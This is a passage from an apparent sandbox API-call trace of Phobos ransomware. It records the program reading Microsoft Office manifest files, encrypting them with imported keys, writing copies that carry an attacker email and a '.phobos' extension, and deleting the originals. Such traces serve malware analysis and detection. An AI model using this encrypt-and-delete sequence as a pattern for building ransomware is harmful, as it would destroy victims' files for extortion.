CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0054.129] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.129] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=2147) returned 1 [0054.129] CloseHandle (hObject=0x31c) returned 1 [0054.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml")) returned 0x220 [0054.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0054.129] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.129] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0054.129] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0054.129] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0054.130] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc790) returned 1 [0054.130] CryptSetKeyParam (hKey=0x10dc790, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0054.130] ReadFile (in: hFile=0x31c, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x863, lpOverlapped=0x0) returned 1 [0054.139] CryptEncrypt (in: hKey=0x10dc790, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x870, dwBufLen=0x870 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x870) returned 1 [0054.139] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x870, lpOverlapped=0x0) returned 1 [0054.139] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc9d0) returned 1 [0054.139] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0054.139] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90, dwBufLen=0x90 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90) returned 1 [0054.139] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0054.140] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x142, lpOverlapped=0x0) returned 1 [0054.140] CryptDestroyKey (hKey=0x10dc790) returned 1 [0054.140] CloseHandle (hObject=0x31c) returned 1 [0054.140] CloseHandle (hObject=0x310) returned 1 [0054.141] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml")) returned 1 [0054.142] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0054.142] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0054.142] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=215883) returned 1 [0054.142] CloseHandle (hObject=0x310) returned 1 [0054.143] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml")) returned 0x220 [0054.143] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0054.143] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0054.143] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0054.143] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0054.143] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.143] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc610) returned 1 [0054.143] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0054.143] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x34b4b, lpOverlapped=0x0) returned 1 [0054.158] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x34b50, dwBufLen=0x34b50 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x34b50) returned 1 [0054.159] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x34b50, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x34b50, lpOverlapped=0x0) returned 1 [0054.162] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc690) returned 1 [0054.162] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0054.162] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90, dwBufLen=0x90 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90) returned 1 [0054.162] CryptDestroyKey (hKey=0x10dc690) returned 1 [0054.162] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x142, lpOverlapped=0x0) returned 1 [0054.162] CryptDestroyKey (hKey=0x10dc610) returned 1 [0054.162] CloseHandle (hObject=0x310) returned 1 [0054.162] CloseHandle (hObject=0x31c) returned 1 [0054.166] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml")) returned 1 [0054.168] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0054.168] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.169] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=1261) returned 1 [0054.169] CloseHandle (hObject=0x31c) returned 1 [0054.169] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml")) returned 0x220 [0054.169] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0054.169] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.169] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0054.169] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0054.169] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0054.169] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc690) returned 1 [0054.169] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0054.169] ReadFile (in: hFile=0x31c, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x4ed, lpOverlapped=0x0) returned 1 [0054.175] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x4f0) returned 1 [0054.175] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x4f0, lpOverlapped=0x0) returned 1 [0054.176] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcb10) returned 1 [0054.176] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0054.176] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90, dwBufLen=0x90 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90) returned 1 [0054.176] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0054.176] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x142, lpOverlapped=0x0) returned 1 [0054.176] CryptDestroyKey (hKey=0x10dc690) returned 1 [0054.176] CloseHandle (hObject=0x31c) returned 1 [0054.177] CloseHandle (hObject=0x310) returned 1 [0054.180] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml")) returned 1 [0054.181] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0054.181] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0054.184] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=1261) returned 1 [0054.184] CloseHandle (hObject=0x310) returned 1 [0054.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml")) returned 0x220 [0054.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0054.184] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0054.184] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0054.184] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0054.184] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.185] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc710) returned 1 [0054.185] CryptSetKeyParam (hKey=0x10dc710, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0054.185] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x4ed, lpOverlapped=0x0) returned 1 [0054.346] CryptEncrypt (in: hKey=0x10dc710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x4f0) returned 1 [0054.346] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x4f0, lpOverlapped=0x0) returned 1 [0054.346] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc690) returned 1 [0054.347] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0054.347] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90, dwBufLen=0x90 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90) returned 1 [0054.347] CryptDestroyKey (hKey=0x10dc690) returned 1 [0054.347] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x142, lpOverlapped=0x0) returned 1 [0054.347] CryptDestroyKey (hKey=0x10dc710) returned 1 [0054.347] CloseHandle (hObject=0x310) returned 1 [0054.347] CloseHandle (hObject=0x31c) returned 1 [0054.347] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml")) returned 1 [0054.348] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0054.348] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.349] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=357349) returned 1 [0054.349] CloseHandle (hObject=0x31c) returned 1 [0054.349] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml")) returned 0x220 [0054.349] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0054.349] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.349] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0054.350] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0054.350] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0054.350] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dccd0) returned 1 [0054.350] CryptSetKeyParam (hKey=0x10dccd0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0054.350] ReadFile (in: hFile=0x31c, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x573e5, lpOverlapped=0x0) returned 1 [0054.404] CryptEncrypt (in: hKey=0x10dccd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x573f0, dwBufLen=0x573f0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x573f0) returned 1 [0054.405] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x573f0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x573f0, lpOverlapped=0x0) returned 1 [0054.415] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcb10) returned 1 [0054.415] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0054.415] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90, dwBufLen=0x90 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90) returned 1 [0054.415] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0054.415] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x142, lpOverlapped=0x0) returned 1 [0054.415] CryptDestroyKey (hKey=0x10dccd0) returned 1 [0054.415] CloseHandle (hObject=0x31c) returned 1 [0054.415] CloseHandle (hObject=0x310) returned 1 [0054.421] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml")) returned 1 [0054.429] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0054.429] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.530] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=1261) returned 1 [0054.530] CloseHandle (hObject=0x31c) returned 1 [0054.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml")) returned 0x220 [0054.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft 